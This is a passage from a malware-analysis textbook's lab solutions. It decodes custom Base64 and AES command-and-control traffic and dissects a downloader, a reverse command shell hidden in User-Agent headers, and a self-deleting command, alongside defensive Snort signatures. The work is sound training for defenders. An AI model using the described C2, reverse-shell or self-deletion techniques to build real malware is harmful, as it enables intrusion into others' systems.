tab = 'CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/'
b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

ciphertext = 'BInaEi=='

for ch in ciphertext:
    if (ch in tab):
        s += b64[string.find(tab,str(ch))]
    elif (ch == '='):
        s += '='

print base64.decodestring(s)

Listing 13-14L: Custom Base64 decryption script
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NOTE The code in Listing 13-14L is a generic script that can be repurposed for any custom 
Base64 implementation by redefining the tab variable. 

Using this script, we translate the string to see what command was sent to 
the command shell. The output in Listing 13-15L shows that the attacker is 
sending a request for a directory listing (dir).

$ python custom_b64_decrypt.py 
dir

Listing 13-15L: Output of custom Base64 decryption script 

Decrypting AES

Translating the AES side of the command channel is slightly more challeng-
ing. For example, say that the malware sends the raw stream content shown 
in Listing 13-16L.

00000000  37 f3 1f 04 51 20 e0 b5  86 ac b6 0f 65 20 89 92 7...Q .. ....e ..
00000010  4f af 98 a4 c8 76 98 a6  4d d5 51 8f a5 cb 51 c5 O....v.. M.Q...Q.
00000020  cf 86 11 0d c5 35 38 5c  9c c5 ab 66 78 40 1d df .....58\ ...fx@..
00000030  4a 53 f0 11 0f 57 6d 4f  b7 c9 c8 bf 29 79 2f c1 JS...WmO ....)y/.
00000040  ec 60 b2 23 00 7b 28 fa  4d c1 7b 81 93 bb ca 9e .`.#.{(. M.{.....
00000050  bb 27 dd 47 b6 be 0b 0f  66 10 95 17 9e d7 c4 8d .'.G.... f.......
00000060  ee 11 09 99 20 49 3b df  de be 6e ef 6a 12 db bd .... I;. ..n.j...
00000070  a6 76 b0 22 13 ee a9 38  2d 2f 56 06 78 cb 2f 91 .v."...8 -/V.x./.
00000080  af 64 af a6 d1 43 f1 f5  47 f6 c2 c8 6f 00 49 39 .d...C.. G...o.I9

Listing 13-16L: AES-encrypted network content 

The PyCrypto library provides convenient cryptographic routines for 
dealing with data like this. Using the code shown in Listing 13-17L, we can 
decrypt the content. 

from Crypto.Cipher import AES
import binascii

raw = ' 37 f3 1f 04 51 20 e0 b5  86 ac b6 0f 65 20 89 92 ' + \
' 4f af 98 a4 c8 76 98 a6  4d d5 51 8f a5 cb 51 c5 ' + \
' cf 86 11 0d c5 35 38 5c  9c c5 ab 66 78 40 1d df ' + \
' 4a 53 f0 11 0f 57 6d 4f  b7 c9 c8 bf 29 79 2f c1 ' + \
' ec 60 b2 23 00 7b 28 fa  4d c1 7b 81 93 bb ca 9e ' + \
' bb 27 dd 47 b6 be 0b 0f  66 10 95 17 9e d7 c4 8d ' + \
' ee 11 09 99 20 49 3b df  de be 6e ef 6a 12 db bd ' + \
' a6 76 b0 22 13 ee a9 38  2d 2f 56 06 78 cb 2f 91 ' + \
' af 64 af a6 d1 43 f1 f5  47 f6 c2 c8 6f 00 49 39 ' 

ciphertext = binascii.unhexlify(raw.replace(' ','')) 
obj = AES.new('ijklmnopqrstuvwx', AES.MODE_CBC) 
print 'Plaintext is:\n' + obj.decrypt(ciphertext) 

Listing 13-17L: AES decryption script 
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The raw variable defined at  contains the raw network content identi-
fied in Listing 13-16L. The raw.replace function at  removes the spaces from 
the raw string, and the binascii.unhexlify function turns the hex representa-
tion into a binary string. The AES.new call at  creates a new AES object with 
the appropriate password and mode of operation, which allows for the follow-
ing decrypt call at .

The output of the AES script is shown in Listing 13-18L. Note that this 
captured content was simply a command prompt.

$ python aes_decrypt.py 
Plaintext is:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\user\Desktop\13_3_demo>

Listing 13-18L: AES decryption script output 

Crypto Pitfalls

The default use of the PyCrypto library routines worked successfully in 
Lab 13-3, but there are many potential pitfalls when trying to implement 
decryption routines directly, including the following:

 Block cryptography algorithms have many possible modes of operation, 
such as Electronic Code Book (ECB), Cipher Block Chaining (CBC), 
and Cipher Feedback (CFB). Each mode requires a different set of steps 
between the encoding or decoding of each block, and some require an 
initialization vector in addition to a password. If you don’t match the 
implementation used, decryption may work only partially or not at all.

 In this lab, the key was provided directly. A given implementation may 
have its own technique for generating a key given a user-provided or 
string-based password. In such cases, the key-generation algorithm will 
need to be identified and duplicated separately.

 Within a standard algorithm, there may be options that must be speci-
fied correctly. For example, a single encryption algorithm may allow 
multiple key sizes, block sizes, rounds of encryption or decryption, and 
padding strategies.

Lab 14-1 Solutions

Short Answers
1. The program contains the URLDownloadToCacheFile function, which uses 

the COM interface. When malware uses COM interfaces, most of the 
content of its HTTP requests comes from within Windows itself, and 
therefore cannot be effectively targeted using network signatures.
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2. The source elements are part of the host’s GUID and the username. The 
GUID is unique for any individual host OS, and the 6-byte portion used 
in the beacon should be relatively unique. The username will change 
depending on who is logged in to the system.

3. The attacker may want to track the specific hosts running the down-
loader and target specific users.

4. The Base64 encoding is not standard since it uses an a instead of an 
equal sign (=) for its padding.

5. This malware downloads and executes other code.

6. The elements of the malware communication to be targeted include the 
domain name, the colons and the dash found after Base64 decoding, 
and the fact that the last character of the Base64 portion of the URI is 
the single character used for the filename of the PNG file.

7. Defenders may try to target elements other than the URI if they don’t 
realize that the OS determines them. In most cases, the Base64 string 
ends with an a, which usually makes the filename appear as a.png. How-
ever, if the username length is an even multiple of three, both the final 
character and the filename will depend on the last character in the 
encoded username. In this case, the filename is unpredictable.

8. See the detailed analysis for recommended signatures.

Detailed Analysis
Because there is no packet capture associated with this malware, we’ll use 
dynamic analysis to help us to understand its function. Running the malware, 
we see a beacon like the one shown in Listing 14-1L.

GET /NDE6NzM6N0U6Mjk6OTM6NTYtSm9obiBTbWl0aAaa/a.png HTTP/1.1
Accept: */*
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)
Host: www.practicalmalwareanalysis.com
Connection: Keep-Alive

Listing 14-1L: Beacon request from initial malware run

NOTE If you have trouble seeing the beacon, make sure that your DNS requests are redirected to 
an internal host and that you have a program such as Netcat or INetSim accepting 
inbound connections to port 80.

Examining this single beacon alone, it is difficult to tell which compo-
nents might be hard-coded. If you were to try running the malware multiple 
times, you would find that it uses the same beacon each time. If you have 
another host available, and you try to run the malware on it, you may get 
something like the result shown in Listing 14-2L.
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GET /OTY6MDA6QTI6NDY6OTg6OTItdXNlcgaa/a.png HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 
2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)
Host: www.practicalmalwareanalysis.com
Connection: Keep-Alive

Listing 14-2L: Beacon request from second malware run using different host

From this second example, it should be clear that the User-Agent is 
either not hard-coded or the malware can choose from multiple User-Agent 
strings. In fact, a quick test using Internet Explorer from our second host 
finds that regular browser activity matches the User-Agent seen in the bea-
con, indicating that this malware very likely is using the COM API. Compar-
ing the URIs, you can see that the aa/a.png appears to be a consistent string.

Moving on to static analysis, we load the malware in IDA Pro to identify 
the networking functions. Looking at the imports, it is clear that the function 
used to beacon out is URLDownloadToCacheFileA. The use of the COM API agrees 
with dynamic testing that showed different hosts generating different User-
Agent strings, each of which also matched the Internet Explorer User-Agent 
strings.

Since URLDownloadToCacheFileA appears to be the only networking 
function used, we will continue analysis at the function containing it at 
0x004011A3. One quick observation is that this function contains calls to 
both URLDownloadToCacheFileA and CreateProcessA. Because of this, we’ll 
rename the function downloadNRun in IDA Pro. Within downloadNRun, notice 
that just prior to the URLDownloadToCacheFileA function, the following string 
is referenced:

http://www.practicalmalwareanalysis.com/%s/%c.png

This string is used as the input for a call to sprintf, whose output is used 
as a parameter to URLDownloadToCacheFileA. We see from this format string that 
the filename for the PNG file is always a single character defined by %c and 
that the middle segment of the URI is defined by %s. To determine how the 
beacon is generated, we trace backward to find the origin of the inputs to the 
%s and %c parameters with the annotated output shown in the comments in 
Listing 14-3L.

004011AC  mov  eax, [ebp+Str]      ; Str passed as an argument
004011AF  push eax                 ; Str
004011B0  call _strlen
004011B5  add  esp, 4
004011B8  mov  [ebp+var_218], eax  ; var_218 contains the size of the string
004011BE  mov  ecx, [ebp+Str]
004011C1  add  ecx, [ebp+var_218]  ; ecx points to the end of the string
004011C7  mov  dl, [ecx-1]         ; dl gets the last character of the string
004011CA  mov  [ebp+var_214], dl   ; var_214 contains the last character of the string
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004011D0  movsx eax, [ebp+var_214] ; eax contains the last character of the string
004011D7  push eax                 ; the %c argument contains the last character of the string
004011D8  mov  ecx, [ebp+Str]
004011DB  push ecx                 ; the %s argument contains the string Str

Listing 14-3L: Annotated code for the sprintf arguments

The code in Listing 14-3L is preparing arguments %s and %c to be passed 
into the sprintf function. The line at 0x004011D7 is pushing the %c argument 
onto the stack, and the line at 0x004011DB is pushing the %s argument onto 
the stack.

The earlier code (0x004011AC–0x004011CA) represents the copying of 
the last character of %s into %c. First, strlen is used to calculate the end of the 
string (0x004011AC–0x004011B8). Then the last character of %s is copied to 
a local variable var_214 used for %c (0x004011BE–0x004011CA). Thus, in the 
final URI, the filename %c is always the last character of the string %s. This 
explains why the filename in both examples is a, since it matches the last 
character.

To figure out the string input, we navigate to the calling function, which 
is actually main. Figure 14-1L shows an overview of main, including the Sleep 
loop and a reference to the downloadNRun function.

Figure 14-1L: Sleep loop with downloadNRun function

The function just before the loop labeled sub_4010BB appears to modify the 
string passed into the downloadNRun (0x004011A3) function. The downloadNRun 
function takes two arguments: an input and an output string. Examining 
sub_4010BB, we see that it contains two subroutines, one of which is strlen. The 
other subroutine (0x401000) contains references to the standard Base64 
string: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/.
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sub_401000, however, is not a standard Base64 encoding function. 
Base64 functions will typically have a static reference to an equal sign (=) 
for the cases where it needs to provide padding to the end of a 4-byte char-
acter block. In many implementations, there will be two references to the =, 
since the last two characters of a 4-byte block can be padding.

Figure 14-2L shows one of the forks where the Base64 encoding function 
(0x401000) may choose either an encoding character or a padding charac-
ter. The path at the right in the figure shows the assignment of a as the pad-
ding character, rather than the typical =.

Figure 14-2L: Base64 encoding function (0x401000) with alternative padding

Within the main function and immediately prior to the primary (outer) 
Base64 encoding function, we see the functions GetCurrentHwProfileA, 
GetUserName, sprintf, and the strings %c%c:%c%c:%c%c:%c%c:%c%c:%c%c and %s-%s. 
Six bytes from the GUID that are returned by GetCurrentHwProfileA are 
printed in MAC address format (in hexadecimal form with colons between 
each byte), and this becomes the first string in %s-%s. The second string is the 
username. Thus, the underlying string is in the format shown here, with HH 
representing a hexadecimal byte:

HH:HH:HH:HH:HH:HH-username

We can verify that this is the correct format by Base64 decoding the 
string NDE6NzM6N0U6Mjk6OTM6NTYtSm9obiBTbWl0aAaa, which we saw in the initial 
dynamic analysis run shown in Listing 14-1L. The result is 41:73:7E:29:93:56-
John Smith\x06\x9a. Remember from earlier that this malware uses standard 
Base64 encoding with the exception of the padding character, for which it 
uses a. The extra characters in the result after “John Smith” come from using 
the standard Base64 decoder, which interprets the aa at the end of the string 
as regular characters instead of identifying them as replacement padding 
characters.

Having identified the source of the beacon, let’s see what happens when 
some content is received. Returning to the URLDownloadToCacheFileA function 
(0x004011A3, labeled downloadNRun), we see that the success fork of the func-
tion is the command CreateProcessA, which takes as a parameter the pathname 
returned from URLDownloadToCacheFileA. Once the malware downloads a file, it 
simply executes that file and quits.
630 Appendix C



1 4
Network Signatures

The key static elements to target when analyzing a network signature are the 
colons and the dash that provide padding among the hardware profile bytes 
and the username. However, targeting these elements is challenging because 
the malware applies a layer of Base64 encoding before sending this content 
onto the network. Table 14-1L shows how those characters are translated, as 
well as the pattern to target.

Because each colon in the original string is the third character of each 
triple, when encoded using Base64, all of the bits in the fourth character of 
each quad come from the third character. That is why every fourth character 
under the colons is a 6, and because of the use of a dash, the sixth quad will 
always end with a t. Thus, we know that the URI will always be at least 24 
characters long with specific locations for the four 6 characters and the t. We 
also know the character set that may be used to represent the rest of the URI, 
and that the download name is a single character that is the same as the end 
of the path.

We now have two regular expressions to consider. Here is the first regu-
lar expression:

/\/[A-Z0-9a-z+\/]{3}6[A-Z0-9a-z+\/]{3}6[A-Z0-9a-z+\/]{3}6[A-Z0-9a-z+\/]{3}6[A
-Z0-9a-z+\/]{3}6[A-Z0-9a-z+\/]{3}t([A-Z0-9a-z+\/]{4}){1,}\//

One of the main elements of this expression is [A-Z0-9a-z+\/], shown in 
bold, which matches any single Base64 character. To better understand the 
expression, we’ll use a Greek omega () to replace this element:

/\/{3}6{3}6{3}6{3}6{3}6{3}t({4}){1,}\//

Next, we expand the multiple characters:

/\/66666t(){1,}\//

As you can see, this representation shows more clearly that the expres-
sion captures the blocks of four characters ending in 6 and t. This regular 
expression targets the first segment of the URI with the static characters.

The second regular expression targets a Base64 expression of at least 
25 characters. The filename is a single character followed by .png that is the 
same as the last character of the previous segment. The following is the reg-
ular expression:

/\/[A-Z0-9a-z+\/]{24,}\([A-Z0-9a-z+\/]\)\/\1.png/

Table 14-1L: Static Pattern Within Base64 Encoding

Original 41: 73: 7E: 29: 93: 56- Joh n S mit h..

Encoded NDE6 NzM6 N0U6 Mjk6 OTM6 NTYt Sm9o biBT bWl0 aAaa
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Applying the same clarifying shortcuts used with the previous expression 
gives us this:

/\/{24,}\(\)\/\1.png/

The \1 in this expression refers to the first element captured between the 
parentheses, which is the last Base64 character in the string before the for-
ward slash (/).

Now that we have two regular expressions that can identify the patterns 
produced by the malware, we translate each into a Snort signature to detect 
the malware when it produces traffic on the network. The first signature 
could be as follows:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"PM14.1.1 Colons and 
dash"; urilen:>32; content:"GET|20|/"; depth:5; pcre:"/GET\x20\/[A-Z0-9a-z+\/]
{3}6[A-Z0-9a-z+\/]{3}6[A-Z0-9a-z+\/]{3}6[A-Z0-9a-z+\/]{3}6[A-Z0-9a-z+\/]{3}6[A
-Z0-9a-z+\/]{3}t([A-Z0-9a-z+\/]{4}){1,}\//"; sid:20001411; rev:1;)

This Snort rule includes a content string only for the GET / at the start of 
the packet, but it’s usually better to have a more unique content string for 
improved packet processing. The urilen keyword ensures that the URI is a 
specific length—in this case, greater than 32 characters (which accounts for 
the additional characters beyond the first path segment).

Now for the second signature. The Snort rule for this signature could be 
as follows:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"PM14.1.2 Base64 and 
png"; urilen:>32; uricontent:".png"; pcre:"/\/[A-Z0-9a-z+\/]{24,}([A-Z0-9a-z+\
/])\/\1\.png/"; sid:20001412; rev:1;)

This Snort rule searches for the .png content in the regular expression 
before testing the PCRE regular expression in order to improve packet-
processing performance. It also adds a check for the URI length, which has 
a known minimum.

In addition to the preceding signatures, we could also target areas like the 
domain name (www.practicalmalwareanalysis.com) and the fact that the malware 
downloads an executable. Combining signatures is often an effective strat-
egy. For example, a malware signature that produces regular false positives 
may still be effective if combined with a signature that triggers on an execut-
able download.

Lab 14-2 Solutions

Short Answers
1. The attacker may find static IP addresses more difficult to manage than 

domain names. Using DNS allows the attacker to deploy his assets to any 
computer and dynamically redirect his bots by changing only a DNS 
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address. The defender has various options for deploying defenses for 
both types of infrastructure, but for similar reasons, IP addresses can be 
more difficult to deal with than domain names. This fact alone could 
lead an attacker to choose static IP addresses over domains.

2. The malware uses the WinINet libraries. One disadvantage of these librar-
ies is that a hard-coded User-Agent needs to be provided, and optional 
headers need to be hard-coded if desired. One advantage of the WinINet 
libraries over the Winsock API, for example, is that some elements, such 
as cookies and caching headers, are provided by the OS.

3. A string resource section in the PE file contains the URL that is used 
for command and control. The attacker can use the resource section to 
deploy multiple backdoors to multiple command-and-control locations 
without needing to recompile the malware.

4. The attacker abuses the HTTP User-Agent field, which should contain the 
application information. The malware creates one thread that encodes 
outgoing information in this field, and another that uses a static field to 
indicate that it is the “receive” side of the channel.

5. The initial beacon is an encoded command-shell prompt.

6. While the attacker encodes outgoing information, he doesn’t encode 
the incoming commands. Also, because the server must distinguish 
between the two communication channels via the static elements of the 
User-Agent fields, this server dependency is apparent and can be tar-
geted with signatures.

7. The encoding scheme is Base64, but with a custom alphabet.

8. Communication is terminated using the keyword exit. When exiting, the 
malware tries to delete itself.

9. This malware is a small, simple backdoor. Its sole purpose is to provide a 
command-shell interface to a remote attacker that won’t be detected by 
common network signatures that watch for outbound command-shell 
activity. This particular malware is likely a throwaway component of an 
attacker’s toolkit, which is supported by the fact that the tool tries to 
delete itself.

Detailed Analysis
We begin by performing dynamic analysis on the malware. The malware ini-
tially sends a beacon with an odd User-Agent string:

GET /tenfour.html HTTP/1.1
User-Agent: (!<e6LJC+xnBq90daDNB+1TDrhG6aWG6p9LC/iNBqsGi2sVgJdqhZXDZoMMomKGoqx
UE73N9qH0dZltjZ4RhJWUh2XiA6imBriT9/oGoqxmCYsiYG0fonNC1bxJD6pLB/1ndbaS9YXe9710A
6t/CpVpCq5m7l1LCqR0BrWy
Host: 127.0.0.1
Cache-Control: no-cache
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A short time later, it sends a second beacon:

GET /tenfour.html HTTP/1.1
User-Agent: Internet Surf
Host: 127.0.0.1
Cache-Control: no-cache

NOTE If you see the initial beacon but not the second one, your problem may be due to the way 
that you are simulating the server. This particular malware uses two threads, each of 
which sends HTTP requests to the same server. If one thread fails to get a response, the 
entire process exits. If you rely on Netcat or some other simple solution for simulating the 
server, you might get the initial beacon, but when the second beacon fails, the first will 
quit, too. In order to dynamically analyze this malware, you must use two instances of 
Netcat or a robust fake server infrastructure such as INetSim.

Multiple trials don’t produce changes in the beacon contents, but modi-
fying the host or user will change the initial encoded beacon, giving us a clue 
that the source information for the encoded beacon depends on host-specific 
information.

Beginning with the networking functions, we see imports for InternetOpenA, 
InternetOpenUrlA, InternetReadFile, and InternetCloseHandle, from the WinINet 
library. One of the arguments to InternetOpenUrlA is the constant 0x80000000. 
Looking up the values for the parameter affected, we see that it represents 
the INTERNET_FLAG_RELOAD flag. When set, this flag produces the Cache-Control: 
no-cache line from the initial beacon, which demonstrates the advantage of 
using these higher-level protocols instead of more basic socket calls. Malware 
that uses basic socket calls would need to explicitly include the Cache-Control: 
no-cache string in the code, thereby opening it up to be more easily identified 
as malware and to making mistakes in its attempts to imitate legitimate traffic.

How are the two beacons related? To answer this question, we create a 
cross-reference graph of all functions that ultimately use the Internet func-
tions, as shown in Figure 14-3L.

As you can see, the malware has two distinct and symmetric parts. Exam-
ining the first call to CreateThread in WinMain, it is clear that the function at 
0x4014C0, labeled StartAddress, is the starting address of a new thread. The 
function at 0x4015CO (labeled s_thread2_start) is also the starting address of 
a new thread.

Examining StartAddress (0x4014C0), we see that in addition to the 
s_Internet1 (0x401750) function, it also calls malloc, PeekNamedPipe, ReadFile, 
ExitThread, Sleep, and another internal function. The function at s_thread2_start 
(0x4015CO) contains a similar structure, with calls to s_Internet2 (0x401800), 
malloc, WriteFile, ExitThread, and Sleep. The function PeekNamedPipe can be 
used to watch for new input on a named pipe. (The stdin and stdout associ-
ated with a command shell are both named pipes.)

To determine what is being read from or written to by the two threads, 
we turn our attention to WinMain, the source of the threads, as shown in Fig-
ure 14-3L. We see that before WinMain starts the two threads, it calls the func-
tions CreatePipeA, GetCurrentProcess, DuplicateHandle, and CreateProcessA. The 
function CreateProcessA creates a new cmd.exe process, and the other functions 
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set up the new process so that the stdin and stdout associated with the com-
mand process handles are available.

Figure 14-3L: Function graph for functions connected with Internet functions

This malware author follows a common pattern for building a reverse 
command shell. The attacker has started a new command shell as its own 
process, and started independent threads to read the input and write the 
output to the command shell. The StartAddress (0x4014C0) thread checks 
for new inputs from the command shell using PeekNamedPipe, and if content 
exists, it uses ReadFile to read the data. Once this data is read, it sends the 
content to a remote location using the s_Internet1 (0x401750) function. 
The other s_thread2_start (0x4015C0) connects to a remote location using 
s_Internet2 (0x401800), and if there is any new input for the command shell, 
it writes that to the command shell input pipe.

Let’s return to the parameters passed to the Internet functions in 
s_Internet1 (0x401750) to look for the original sources that make up these 
parameters. The function InternetOpenUrlA takes a URL as a parameter, 
which we later see passed into the function as an argument and copied to a 
buffer early in the function. In the preceding function labeled StartAddress 
(0x4014C0), we see that the URL is also an argument. In fact, as we trace 
the source of the URL, we must go all the way back to the start of WinMain 
(0x4011C0) and the call to LoadStringA. Examining the resource section of 
the PE file, we see that it has the URL that was used for beaconing. In fact, 
this URL is used similarly for the beacons sent by both threads.

We’ve identified one of the arguments to s_Internet1 (0x401750) as the 
URL. The other argument is the User-Agent string. Navigating to s_Internet1 
(0x401750), we see the static string (!< at the start of the function. This 
matches the start of the User-Agent string seen in the beacon, but it is con-
catenated with a longer string that is passed in as one of the arguments to 
s_Internet1 (0x401750). Just before s_Internet1 (0x401750) is called, an 
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internal function at 0x40155B takes two input parameters and outputs the 
primary content of the User-Agent string. This encoding function is a custom 
Base64 variant that uses this Base64 string:

WXYZlabcd3fghijko12e456789ABCDEFGHIJKL+/MNOPQRSTUVmn0pqrstuvwxyz

When the initial beacon string is decoded, the result is as follows:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\user\Desktop>

The other thread uses Internet functions in s_Internet2 (0x401800). As 
already mentioned, s_Internet2 uses the same URL parameter as s_Internet1. 
The User-Agent string in this function is statically defined as the string 
Internet Surf.

The s_thread2_start (0x4015C0) thread, as mentioned earlier, is used to 
pass inputs to the command shell. It also provides a facility for terminating 
the program based on input. If the operator passes the string exit to the 
malware, the malware will then exit. The code block loc_40166B, located in 
s_thread2_start (0x4015C0), contains the reference to the exit string and the 
strnicmp function that is used to test the incoming network content.

NOTE We could also have used dynamic analysis to gain insight into the malware. The 
encoding function at 0x40155B could have been identified by the Base64 strings it 
contains. By setting a breakpoint at the function in a debugger, we would have seen the 
Windows command prompt as an argument prior to encoding. The encoded command 
prompt varies a bit based on the specific OS and username, which is why we found this 
beacon changing based on the host or user.

In summary, each of the two threads handles different ends of the pipes 
to the command shell. The thread with the static User-Agent string gets the 
input from the remote attacker, and the thread with the encoded User-Agent 
string serves as the output for the command shell. This is a clever way for 
attackers to obfuscate their activities and avoid sending command prompts 
from the compromised server in the clear.

One piece of evidence that supports the idea that this is a throwaway 
component for an attacker is the fact that the malware tries to delete itself 
when it exits. In WinMain (0x4011C0), there are three possible function end-
ings. The two early terminations occur when a thread fails to be successfully 
created. In all three terminal cases, there is a call to 0x401880. The purpose 
of 0x401880 is to delete the malware from disk once the malware exits. 
0x401880 implements the ComSpec method of self-deletion. Essentially, 
the ComSpec method entails running a ShellExecute command with the 
ComSpec environmental variable defined and with the command line 
/c del [executable_to_delete] > nul, which is precisely what 0x401880 does.
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Network Signatures

For signatures other than the URL, we target the static User-Agent field, the 
static characters of the encoded User-Agent, and the length and character 
restrictions of the encoded command-shell prompt, as shown in Listing 14-4L.

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"PM14.2.1 Suspicious 
User-Agent (Internet Surf)"; content: "User-Agent\:|20|Internet|20|Surf"; 
http_header; sid:20001421; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"PM14.2.2 Suspicious 
User-Agent (starts (!<)"; content: "User-Agent\:|20|(!<"; http_header; 
sid:20001422; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"PM14.2.3 Suspicious 
User-Agent (long B64)"; content:"User-Agent\:|20|"; content:!"|20|"; distance:0; 
within:100; pcre:"/User-Agent:\x20[^\x0d]{0,5}[A-Za-z0-9+\/]{100,}/"; 
sid:20001423; rev:1;)

Listing 14-4L: Snort signatures for Lab 14-2

In Listing 14-4L, the first two signatures (20001421 and 20001422) are 
straightforward, targeting User-Agent header content that should hopefully 
be uncommon. The last signature (20001423) targets only the length and 
character restrictions of an encoded command-shell prompt, without assum-
ing the existence of the same leading characters targeted in 20001422. Because 
the signature is looking for a less specific pattern, it is more likely to encoun-
ter false positives. The PCRE regular expression searches for the User-Agent 
header, followed by a string of at least 100 characters from the Base64 char-
acter set, allowing for up to five characters of any value at the start of the 
User-Agent (as long as they are not line feeds indicating a new header). The 
optional five characters allow a special start to the User-Agent string, such as 
the (!< seen in the malware. The requirement for 100 characters from the 
Base64 character set is loosely based on the expected length of a command 
prompt.

Finally, the negative content search for a space character is purely to 
increase the performance of the signature. Most User-Agent strings will have 
a space character fairly early in the string, so this check will avoid needing to 
test the regular expression for most User-Agent strings.

Lab 14-3 Solutions

Short Answers
1. The hard-coded headers include Accept, Accept-Language, UA-CPU, Accept-

Encoding, and User-Agent. The malware author mistakenly adds an addi-
tional User-Agent: in the actual User-Agent, resulting in a duplicate 
string: User-Agent: User-Agent: Mozilla.... The complete User-Agent 
header (including the duplicate) makes an effective signature.
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2. Both the domain name and path of the URL are hard-coded only where 
the configuration file is unavailable. Signatures should be made for this 
hard-coded URL, as well as any configuration files observed. However, it 
would probably be more fruitful to target just the hard-coded compo-
nents than to link them with the more dynamic URL. Because the URL 
used is stored in a configuration file and can be changed with one of the 
commands, we know that it is ephemeral.

3. The malware obtains commands from specific components of a web 
page from inside noscript tags, which is similar to the Comment field 
example mentioned in the chapter. Using this technique, malware can 
beacon to a legitimate web page and receive legitimate content, making 
analysis of malicious versus legitimate traffic more difficult for a defender.

4. In order for content to be interpreted as a command, it must include 
an initial noscript tag followed by a full URL (including http://) that 
contains the same domain name being used for the original web page 
request. The path of that URL must end with 96'. Between the domain 
name and the 96 (which is truncated), two sections compose command 
and arguments (in a form similar to /command/1213141516). The first letter 
of the command must correspond with an allowed command, and, when 
applicable, the argument must be translatable into a meaningful argu-
ment for the given command.

The malware author limits the strings available to provide clues 
about the malware functionality. When searching for noscript, the mal-
ware searches for <no, and then verifies the noscript tag with independent 
and scrambled character comparisons. The malware also reuses the same 
buffer used for the domain to check for command content. The other 
string search for 96' is only three characters, and the only other searches 
are for the / character. When evaluating the command, only the first 
character is considered, so the attacker may, for example, give the mal-
ware the command to sleep with either the word soft or seller in the web 
response. Traffic analysis might identify the attacker’s use of the word 
soft to send a command to the malware, and that might lead to the mis-
guided use of the complete word in a signature. The attacker is free to 
use seller or any other word starting with s without modification of the 
malware.

5. There is no encoding for the sleep command; the number represents the 
number of seconds to sleep. For two of the commands, the argument is 
encoded with a custom, albeit simple, encoding that is not Base64. The 
argument is presented as an even number of digits (once the trailing 96 
is removed). Each set of two digits represents the raw number that is an 
index into the array /abcdefghijklmnopqrstuvwxyz0123456789:.. These argu-
ments are used only to communicate URLs, so there is no need for capi-
tal characters. The advantage to this scheme is that it is nonstandard, so 
we need to reverse-engineer it in order to understand its content. The 
disadvantage is that it is simple. It may be identified as suspicious in 
strings output, and because the URLs always begin in the same way, 
there will be a consistent pattern.
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6. The malware commands include quit, download, sleep, and redirect. The 
quit command simply quits the program. The download command down-
loads and runs an executable, except that, unlike in the previous lab, the 
attacker can specify the URL from which to download. The redirect com-
mand modifies the configuration file used by the malware so that there is 
a new beacon URL.

7. This malware is inherently a downloader. It comes with some important 
advantages, such as web-based control and the ability to easily adjust as 
malicious domains are identified and shut down.

8. Some distinct elements of malware behavior that may be independently 
targetable include the following:

 Signatures related to the statically defined domain and path and 
similar information from any dynamically discovered URLs

 Signatures related to the static components of the beacon

 Signatures that identify the initial requirements for a command

 Signatures that identify specific attributes of command and argu-
ment pairs

9. See the detailed analysis for specific signatures.

Detailed Analysis
Running the malware, we see that it produces the following beacon packet:

GET /start.htm HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 
.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: www.practicalmalwareanalysis.com
Cache-Control: no-cache

We begin by identifying the networking functions used by the malware. 
Looking at the imports, we see functions from two libraries: WinINet and 
COM. The functions used include InternetOpenA, InternetOpenUrlA, Internet-
CloseHandle, and InternetReadFile.

Starting with the WinINet functions, navigate to the function containing 
InternetOpenUrlA at 0x004011F3. Notice that there are some static strings in 
the code leading up to InternetOpenA as shown in Listing 14-5L.

"Accept: */*\nAccept-Language: en-US\nUA-CPU: x86\nAccept-Encoding: gzip, 
deflate"
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 
3.0.4506.2152; .NET CLR 3.5.30729)"

Listing 14-5L: Static strings used in beacon
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These strings agree with the strings in the initial beacon. At first glance, 
they appear to be fairly common, but the combination of elements may actu-
ally be rare. By writing a signature that looks for a specific combination of 
headers, you can get a sense of exactly how rare the combination is based on 
how many times the signature is triggered.

Take a second look at the strings in Listing 14-5L and compare them 
with the raw beacon packet at the beginning of the analysis. Do you notice 
the repeated User-Agent: User-Agent: in the beacon packet? Although it looks 
correct in the strings output, the malware author made a mistake and forgot 
that the InternetOpenA call includes the header title. This oversight will allow 
for an effective signature.

Let’s first identify the beacon content, and then we will investigate 
how the malware processes a response. We see that the networking function 
at 0x004011F3 takes two parameters, only one of which is used before the 
InternetOpenUrlA call. This parameter is the URL that defines the beacon 
destination. The parent function is WinMain, which contains the primary loop 
with a Sleep call. Tracing the URL parameter backward within WinMain, we see 
that it is set in the function at 0x00401457, which contains a CreateFile call. 
This function (0x00401457) references a couple of strings, including C:\\
autobat.exe and http://www.practicalmalwareanalysis.com/start.htm. The static 
URL (ending in start.htm) appears to be on a branch that represents a failure 
to open a file, suggesting that it is the fallback beaconing URL if the file does 
not exist.

Examining the CreateFile function, which uses the reference to C:\\
autobat.exe, it appears as if the ReadFile command takes a buffer as an argu-
